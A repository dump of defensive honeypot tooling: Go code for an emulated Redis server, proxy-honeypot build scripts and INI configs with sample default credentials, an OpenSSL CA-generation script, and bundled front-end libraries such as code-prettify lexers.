-------------------------------------------------------------------------------- /honeypot/server/services/redis-server/redis/.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | ../.idea -------------------------------------------------------------------------------- /honeypot/server/services/redis-server/redis/cmd_del.go: -------------------------------------------------------------------------------- 1 | package redis 2 | 3 | import ( 4 | "github.com/redis-go/redcon" 5 | ) 6 | 7 | func DelCommand(c *Client, cmd redcon.Command) { 8 | db := c.Db() 9 | keys := make([]*string, 0, len(cmd.Args)-1) 10 | for i := 1; i < len(cmd.Args); i++ { 11 | k := string(cmd.Args[i]) 12 | keys = append(keys, &k) 13 | } 14 | dels := db.Delete(keys...) 15 | c.Conn().WriteInt(dels) 16 | } 17 | -------------------------------------------------------------------------------- /honeypot/server/services/redis-server/redis/cmd_ping.go: -------------------------------------------------------------------------------- 1 | package redis 2 | 3 | import ( 4 | "bytes" 5 | "github.com/redis-go/redcon" 6 | ) 7 | 8 | func PingCommand(c *Client, cmd redcon.Command) { 9 | if len(cmd.Args) > 1 { 10 | var buf bytes.Buffer 11 | for i := 1; i < len(cmd.Args); i++ { 12 | buf.Write(cmd.Args[i]) 13 | buf.WriteString(" ") 14 | } 15 | s := buf.String() 16 | s = s[:len(s)-1] 17 | c.Conn().WriteString(s) 18 | return 19 | } 20 | c.Conn().WriteString("PONG") 21 | } 22 | -------------------------------------------------------------------------------- /honeypot/server/services/redis-server/redis/cmd_ttl.go: -------------------------------------------------------------------------------- 1 | package redis 2 | 3 | import ( 4 | "fmt" 5 | "github.com/redis-go/redcon" 6 | "time" 7 | ) 8 | 9 | func TtlCommand(c *Client, cmd redcon.Command) { 10 | if len(cmd.Args) != 2 { 11 | c.Conn().WriteError(fmt.Sprintf("wrong number of arguments (given %d, expected 1)", len(cmd.Args)-1)) 12 | return 13 | } 14 | 15 | db := c.Db() 16 | key := string(cmd.Args[1]) 17 | db.DeleteExpired(&key) 18 | if !db.Exists(&key) { 19 | c.Conn().WriteInt(-2) 20 | return 21 | } 22 | 23 | t := db.Expiry(&key) 24 | if t.IsZero() { 25 | c.Conn().WriteInt(-1) 26 | return 27 | } 28 | 29 | c.Conn().WriteInt64(int64(t.Sub(time.Now()).Seconds())) 30 | } 31 | -------------------------------------------------------------------------------- /honeypot/server/services/redis-server/redis/keyexpire_test.go: -------------------------------------------------------------------------------- 1 | package redis 2 | 3 | import ( 4 | "github.com/stretchr/testify/assert" 5 | "testing" 6 | "time" 7 | ) 8 | 9 | func TestKeyExpirer(t *testing.T) { 10 | s, err := c.Set("a", "v", 53*time.Millisecond).Result() 11 | assert.Equal(t, "OK", s) 12 | assert.NoError(t, err) 13 | time.Sleep(1 * time.Second) 14 | 15 | s, err = c.Get("a").Result() 16 | assert.NotEqual(t, "v", s) 17 | assert.Error(t, err) 18 | } 19 | -------------------------------------------------------------------------------- /honeypot/server/services/redis-server/redis/t_string.go: -------------------------------------------------------------------------------- 1 | package redis 2 | 3 | const StringType = uint64(0) 4 | const StringTypeFancy = "string" 5 | 6 | var _ Item = (*String)(nil) 7 | 8 | type String struct { 9 | value *string 10 | } 11 | 12 | func NewString(value *string) *String { 13 | return &String{value: value} 14 | } 15 | 16 | func (s *String) Value() interface{} { 17 | return s.value 18 | } 19 | 20 | func (s *String) Type() uint64 { 21 | return StringType 22 | } 23 | 24 | func (s *String) TypeFancy() string { 25 | return StringTypeFancy 26 | } 27 | 28 | func (s *String) OnDelete(key *string, db *RedisDb) { 29 | } 30 | -------------------------------------------------------------------------------- /proxy-honeypot/.gitattributes: -------------------------------------------------------------------------------- 1 | *.js linguist-language=golang 2 | *.css linguist-language=golang 3 | *.html linguist-language=golang* 4 | -------------------------------------------------------------------------------- /proxy-honeypot/.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /workspace.xml -------------------------------------------------------------------------------- /proxy-honeypot/.idea/codeStyles/codeStyleConfig.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | -------------------------------------------------------------------------------- /proxy-honeypot/.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 6 | -------------------------------------------------------------------------------- /proxy-honeypot/.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /proxy-honeypot/.idea/thriftCompiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /proxy-honeypot/.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /proxy-honeypot/.idea/x-proxy.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /proxy-honeypot/agent/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build agent.go 4 | -------------------------------------------------------------------------------- /proxy-honeypot/agent/certs/openssl-gen.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | set -ex 3 | # generate CA's key 4 | openssl genrsa -aes256 -passout pass:1 -out ca.key.pem 4096 5 | openssl rsa -passin pass:1 -in ca.key.pem -out ca.key.pem.tmp 6 | mv ca.key.pem.tmp ca.key 7 | 8 | openssl req -config openssl.cnf -key ca.key -new -x509 -days 7300 -sha256 -extensions v3_ca -out ca.cert 9 | -------------------------------------------------------------------------------- /proxy-honeypot/agent/conf/app.ini: -------------------------------------------------------------------------------- 1 | [proxy] 2 | HOST = 0.0.0.0 3 | PORT = 1080 4 | DEBUG = false 5 | 6 | [server] 7 | MODE = http 8 | SECRET = 5fa5b889ef8247f1b2e9a452b0641a02 9 | API_URL = http://server_ip:80/api/send 10 | 11 | -------------------------------------------------------------------------------- /proxy-honeypot/manager/.idea/codeStyles/codeStyleConfig.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | -------------------------------------------------------------------------------- /proxy-honeypot/manager/.idea/encodings.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /proxy-honeypot/manager/.idea/manager.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /proxy-honeypot/manager/.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /proxy-honeypot/manager/.idea/thriftCompiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /proxy-honeypot/manager/.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /proxy-honeypot/manager/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build manager.go 4 | -------------------------------------------------------------------------------- /proxy-honeypot/manager/conf/app.ini: -------------------------------------------------------------------------------- 1 | HTTP_HOST = 0.0.0.0 2 | HTTP_PORT = 443 3 | 4 | [MONGODB] 5 | HOST = 127.0.0.1 6 | PORT = 27017 7 | DATA = xproxy 8 | USER = xproxy 9 | PASS = xsec.io 10 | 11 | 12 | -------------------------------------------------------------------------------- /proxy-honeypot/manager/go.mod: -------------------------------------------------------------------------------- 1 | module sec-dev-in-action-src/proxy-honeypot/manager 2 | 3 | go 1.13 4 | 5 | require ( 6 | github.com/go-macaron/cache v0.0.0-20200329073519-53bb48172687 7 | github.com/go-macaron/captcha v0.2.0 8 | github.com/go-macaron/csrf v0.0.0-20200329073418-5d38f39de352 9 | github.com/go-macaron/session v1.0.0 10 | github.com/mattn/go-colorable v0.1.8 // indirect 11 | github.com/mgutz/ansi v0.0.0-20200706080929-d51e80ef957d // indirect 12 | github.com/sirupsen/logrus v1.7.0 13 | github.com/x-cray/logrus-prefixed-formatter v0.5.2 14 | gopkg.in/ini.v1 v1.62.0 15 | gopkg.in/macaron.v1 v1.3.9 16 | gopkg.in/mgo.v2 v2.0.0-20190816093944-a6b53ec6cb22 17 | ) 18 | -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/adminLET2/img/avatar.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/adminLET2/img/avatar.png -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/adminLET2/img/avatar04.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/adminLET2/img/avatar04.png -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/adminLET2/img/avatar2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/adminLET2/img/avatar2.png -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/adminLET2/img/avatar3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/adminLET2/img/avatar3.png -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/adminLET2/img/avatar5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/adminLET2/img/avatar5.png -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/adminLET2/img/boxed-bg.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/adminLET2/img/boxed-bg.jpg -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/adminLET2/img/boxed-bg.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/adminLET2/img/boxed-bg.png -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/adminLET2/img/credit/american-express.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/adminLET2/img/credit/american-express.png -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/adminLET2/img/credit/cirrus.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/adminLET2/img/credit/cirrus.png -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/adminLET2/img/credit/mastercard.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/adminLET2/img/credit/mastercard.png -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/adminLET2/img/credit/mestro.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/adminLET2/img/credit/mestro.png -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/adminLET2/img/credit/paypal.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/adminLET2/img/credit/paypal.png -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/adminLET2/img/credit/paypal2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/adminLET2/img/credit/paypal2.png -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/adminLET2/img/credit/visa.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/adminLET2/img/credit/visa.png -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/adminLET2/img/default-50x50.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/adminLET2/img/default-50x50.gif -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/adminLET2/img/icons.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/adminLET2/img/icons.png -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/adminLET2/img/photo1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/adminLET2/img/photo1.png -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/adminLET2/img/photo2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/adminLET2/img/photo2.png -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/adminLET2/img/photo3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/adminLET2/img/photo3.jpg -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/adminLET2/img/photo4.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/adminLET2/img/photo4.jpg -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/adminLET2/img/user1-128x128.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/adminLET2/img/user1-128x128.jpg -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/adminLET2/img/user2-160x160.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/adminLET2/img/user2-160x160.jpg -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/adminLET2/img/user3-128x128.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/adminLET2/img/user3-128x128.jpg -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/adminLET2/img/user4-128x128.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/adminLET2/img/user4-128x128.jpg -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/adminLET2/img/user5-128x128.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/adminLET2/img/user5-128x128.jpg -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/adminLET2/img/user6-128x128.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/adminLET2/img/user6-128x128.jpg -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/adminLET2/img/user7-128x128.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/adminLET2/img/user7-128x128.jpg -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/adminLET2/img/user8-128x128.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/adminLET2/img/user8-128x128.jpg -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/bootstrap/fonts/glyphicons-halflings-regular.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/bootstrap/fonts/glyphicons-halflings-regular.eot -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/bootstrap/fonts/glyphicons-halflings-regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/bootstrap/fonts/glyphicons-halflings-regular.ttf -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/bootstrap/fonts/glyphicons-halflings-regular.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/bootstrap/fonts/glyphicons-halflings-regular.woff -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/bootstrap/fonts/glyphicons-halflings-regular.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/proxy-honeypot/manager/public/lib/bootstrap/fonts/glyphicons-halflings-regular.woff2 -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/bootstrap/js/npm.js: -------------------------------------------------------------------------------- 1 | // This file is autogenerated via the `commonjs` Grunt task. You can require() this file in a CommonJS environment. 2 | require('../../js/transition.js') 3 | require('../../js/alert.js') 4 | require('../../js/button.js') 5 | require('../../js/carousel.js') 6 | require('../../js/collapse.js') 7 | require('../../js/dropdown.js') 8 | require('../../js/modal.js') 9 | require('../../js/tooltip.js') 10 | require('../../js/popover.js') 11 | require('../../js/scrollspy.js') 12 | require('../../js/tab.js') 13 | require('../../js/affix.js') -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/code_prettify/lang-basic.js: -------------------------------------------------------------------------------- 1 | var a=null; 2 | PR.registerLangHandler(PR.createSimpleLexer([["str",/^"(?:[^\n\r"\\]|\\.)*(?:"|$)/,a,'"'],["pln",/^\s+/,a," \r\n\t\u00a0"]],[["com",/^REM[^\n\r]*/,a],["kwd",/^\b(?:AND|CLOSE|CLR|CMD|CONT|DATA|DEF ?FN|DIM|END|FOR|GET|GOSUB|GOTO|IF|INPUT|LET|LIST|LOAD|NEW|NEXT|NOT|ON|OPEN|OR|POKE|PRINT|READ|RESTORE|RETURN|RUN|SAVE|STEP|STOP|SYS|THEN|TO|VERIFY|WAIT)\b/,a],["pln",/^[a-z][^\W_]?(?:\$|%)?/i,a],["lit",/^(?:\d+(?:\.\d*)?|\.\d+)(?:e[+-]?\d+)?/i,a,"0123456789"],["pun", 3 | /^.[^\s\w"$%.]*/,a]]),["basic","cbm"]); 4 | -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/code_prettify/lang-erlang.js: -------------------------------------------------------------------------------- 1 | PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t-\r ]+/,null,"\t\n\u000b\u000c\r "],["str",/^"(?:[^\n\f\r"\\]|\\[\S\s])*(?:"|$)/,null,'"'],["lit",/^[a-z]\w*/],["lit",/^'(?:[^\n\f\r'\\]|\\[^&])+'?/,null,"'"],["lit",/^\?[^\t\n ({]+/,null,"?"],["lit",/^(?:0o[0-7]+|0x[\da-f]+|\d+(?:\.\d+)?(?:e[+-]?\d+)?)/i,null,"0123456789"]],[["com",/^%[^\n]*/],["kwd",/^(?:module|attributes|do|let|in|letrec|apply|call|primop|case|of|end|when|fun|try|catch|receive|after|char|integer|float,atom,string,var)\b/], 2 | ["kwd",/^-[_a-z]+/],["typ",/^[A-Z_]\w*/],["pun",/^[,.;]/]]),["erlang","erl"]); 3 | -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/code_prettify/lang-go.js: -------------------------------------------------------------------------------- 1 | PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\r \xa0]+/,null,"\t\n\r \u00a0"],["pln",/^(?:"(?:[^"\\]|\\[\S\s])*(?:"|$)|'(?:[^'\\]|\\[\S\s])+(?:'|$)|`[^`]*(?:`|$))/,null,"\"'"]],[["com",/^(?:\/\/[^\n\r]*|\/\*[\S\s]*?\*\/)/],["pln",/^(?:[^"'/`]|\/(?![*/]))+/]]),["go"]); 2 | -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/code_prettify/lang-hs.js: -------------------------------------------------------------------------------- 1 | PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t-\r ]+/,null,"\t\n\u000b\u000c\r "],["str",/^"(?:[^\n\f\r"\\]|\\[\S\s])*(?:"|$)/,null,'"'],["str",/^'(?:[^\n\f\r'\\]|\\[^&])'?/,null,"'"],["lit",/^(?:0o[0-7]+|0x[\da-f]+|\d+(?:\.\d+)?(?:e[+-]?\d+)?)/i,null,"0123456789"]],[["com",/^(?:--+[^\n\f\r]*|{-(?:[^-]|-+[^}-])*-})/],["kwd",/^(?:case|class|data|default|deriving|do|else|if|import|in|infix|infixl|infixr|instance|let|module|newtype|of|then|type|where|_)(?=[^\d'A-Za-z]|$)/, 2 | null],["pln",/^(?:[A-Z][\w']*\.)*[A-Za-z][\w']*/],["pun",/^[^\d\t-\r "'A-Za-z]+/]]),["hs"]); 3 | -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/code_prettify/lang-llvm.js: -------------------------------------------------------------------------------- 1 | PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\r \xa0]+/,null,"\t\n\r \u00a0"],["str",/^!?"(?:[^"\\]|\\[\S\s])*(?:"|$)/,null,'"'],["com",/^;[^\n\r]*/,null,";"]],[["pln",/^[!%@](?:[$\-.A-Z_a-z][\w$\-.]*|\d+)/],["kwd",/^[^\W\d]\w*/,null],["lit",/^\d+\.\d+/],["lit",/^(?:\d+|0[Xx][\dA-Fa-f]+)/],["pun",/^[(-*,:<->[\]{}]|\.\.\.$/]]),["llvm","ll"]); 2 | -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/code_prettify/lang-lua.js: -------------------------------------------------------------------------------- 1 | PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\r \xa0]+/,null,"\t\n\r \u00a0"],["str",/^(?:"(?:[^"\\]|\\[\S\s])*(?:"|$)|'(?:[^'\\]|\\[\S\s])*(?:'|$))/,null,"\"'"]],[["com",/^--(?:\[(=*)\[[\S\s]*?(?:]\1]|$)|[^\n\r]*)/],["str",/^\[(=*)\[[\S\s]*?(?:]\1]|$)/],["kwd",/^(?:and|break|do|else|elseif|end|false|for|function|if|in|local|nil|not|or|repeat|return|then|true|until|while)\b/,null],["lit",/^[+-]?(?:0x[\da-f]+|(?:\.\d+|\d+(?:\.\d*)?)(?:e[+-]?\d+)?)/i], 2 | ["pln",/^[_a-z]\w*/i],["pun",/^[^\w\t\n\r \xa0][^\w\t\n\r "'+=\xa0-]*/]]),["lua"]); 3 | -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/code_prettify/lang-pascal.js: -------------------------------------------------------------------------------- 1 | var a=null; 2 | PR.registerLangHandler(PR.createSimpleLexer([["str",/^'(?:[^\n\r'\\]|\\.)*(?:'|$)/,a,"'"],["pln",/^\s+/,a," \r\n\t\u00a0"]],[["com",/^\(\*[\S\s]*?(?:\*\)|$)|^{[\S\s]*?(?:}|$)/,a],["kwd",/^(?:absolute|and|array|asm|assembler|begin|case|const|constructor|destructor|div|do|downto|else|end|external|for|forward|function|goto|if|implementation|in|inline|interface|interrupt|label|mod|not|object|of|or|packed|procedure|program|record|repeat|set|shl|shr|then|to|type|unit|until|uses|var|virtual|while|with|xor)\b/i,a], 3 | ["lit",/^(?:true|false|self|nil)/i,a],["pln",/^[a-z][^\W_]*/i,a],["lit",/^(?:\$[\da-f]+|(?:\d+(?:\.\d*)?|\.\d+)(?:e[+-]?\d+)?)/i,a,"0123456789"],["pun",/^.[^\s\w$'./@]*/,a]]),["pascal"]); 4 | -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/code_prettify/lang-proto.js: -------------------------------------------------------------------------------- 1 | PR.registerLangHandler(PR.sourceDecorator({keywords:"bytes,default,double,enum,extend,extensions,false,group,import,max,message,option,optional,package,repeated,required,returns,rpc,service,syntax,to,true",types:/^(bool|(double|s?fixed|[su]?int)(32|64)|float|string)\b/,cStyleComments:!0}),["proto"]); 2 | -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/code_prettify/lang-r.js: -------------------------------------------------------------------------------- 1 | PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\r \xa0]+/,null,"\t\n\r \u00a0"],["str",/^"(?:[^"\\]|\\[\S\s])*(?:"|$)/,null,'"'],["str",/^'(?:[^'\\]|\\[\S\s])*(?:'|$)/,null,"'"]],[["com",/^#.*/],["kwd",/^(?:if|else|for|while|repeat|in|next|break|return|switch|function)(?![\w.])/],["lit",/^0[Xx][\dA-Fa-f]+([Pp]\d+)?[Li]?/],["lit",/^[+-]?(\d+(\.\d+)?|\.\d+)([Ee][+-]?\d+)?[Li]?/],["lit",/^(?:NULL|NA(?:_(?:integer|real|complex|character)_)?|Inf|TRUE|FALSE|NaN|\.\.(?:\.|\d+))(?![\w.])/], 2 | ["pun",/^(?:<>?|-|==|<=|>=|<|>|&&?|!=|\|\|?|[!*+/^]|%.*?%|[$=@~]|:{1,3}|[(),;?[\]{}])/],["pln",/^(?:[A-Za-z]+[\w.]*|\.[^\W\d][\w.]*)(?![\w.])/],["str",/^`.+`/]]),["r","s","R","S","Splus"]); 3 | -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/code_prettify/lang-rd.js: -------------------------------------------------------------------------------- 1 | PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\r \xa0]+/,null,"\t\n\r \u00a0"],["com",/^%[^\n\r]*/,null,"%"]],[["lit",/^\\(?:cr|l?dots|R|tab)\b/],["kwd",/^\\[@-Za-z]+/],["kwd",/^#(?:ifn?def|endif)/],["pln",/^\\[{}]/],["pun",/^[()[\]{}]+/]]),["Rd","rd"]); 2 | -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/code_prettify/lang-tcl.js: -------------------------------------------------------------------------------- 1 | var a=null; 2 | PR.registerLangHandler(PR.createSimpleLexer([["opn",/^{+/,a,"{"],["clo",/^}+/,a,"}"],["com",/^#[^\n\r]*/,a,"#"],["pln",/^[\t\n\r \xa0]+/,a,"\t\n\r \u00a0"],["str",/^"(?:[^"\\]|\\[\S\s])*(?:"|$)/,a,'"']],[["kwd",/^(?:after|append|apply|array|break|case|catch|continue|error|eval|exec|exit|expr|for|foreach|if|incr|info|proc|return|set|switch|trace|uplevel|upvar|while)\b/,a],["lit",/^[+-]?(?:[#0]x[\da-f]+|\d+\/\d+|(?:\.\d+|\d+(?:\.\d*)?)(?:[de][+-]?\d+)?)/i],["lit", 3 | /^'(?:-*(?:\w|\\[!-~])(?:[\w-]*|\\[!-~])[!=?]?)?/],["pln",/^-*(?:[_a-z]|\\[!-~])(?:[\w-]*|\\[!-~])[!=?]?/i],["pun",/^[^\w\t\n\r "'-);\\\xa0]+/]]),["tcl"]); 4 | -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/code_prettify/lang-tex.js: -------------------------------------------------------------------------------- 1 | PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\r \xa0]+/,null,"\t\n\r \u00a0"],["com",/^%[^\n\r]*/,null,"%"]],[["kwd",/^\\[@-Za-z]+/],["kwd",/^\\./],["typ",/^[$&]/],["lit",/[+-]?(?:\.\d+|\d+(?:\.\d*)?)(cm|em|ex|in|pc|pt|bp|mm)/i],["pun",/^[()=[\]{}]+/]]),["latex","tex"]); 2 | -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/code_prettify/lang-wiki.js: -------------------------------------------------------------------------------- 1 | PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\d\t a-gi-z\xa0]+/,null,"\t \u00a0abcdefgijklmnopqrstuvwxyz0123456789"],["pun",/^[*=[\]^~]+/,null,"=*~^[]"]],[["lang-wiki.meta",/(?:^^|\r\n?|\n)(#[a-z]+)\b/],["lit",/^[A-Z][a-z][\da-z]+[A-Z][a-z][^\W_]+\b/],["lang-",/^{{{([\S\s]+?)}}}/],["lang-",/^`([^\n\r`]+)`/],["str",/^https?:\/\/[^\s#/?]*(?:\/[^\s#?]*)?(?:\?[^\s#]*)?(?:#\S*)?/i],["pln",/^(?:\r\n|[\S\s])[^\n\r#*=A-[^`h{~]*/]]),["wiki"]); 2 | PR.registerLangHandler(PR.createSimpleLexer([["kwd",/^#[a-z]+/i,null,"#"]],[]),["wiki.meta"]); 3 | -------------------------------------------------------------------------------- /proxy-honeypot/manager/public/lib/code_prettify/lang-yaml.js: -------------------------------------------------------------------------------- 1 | var a=null; 2 | 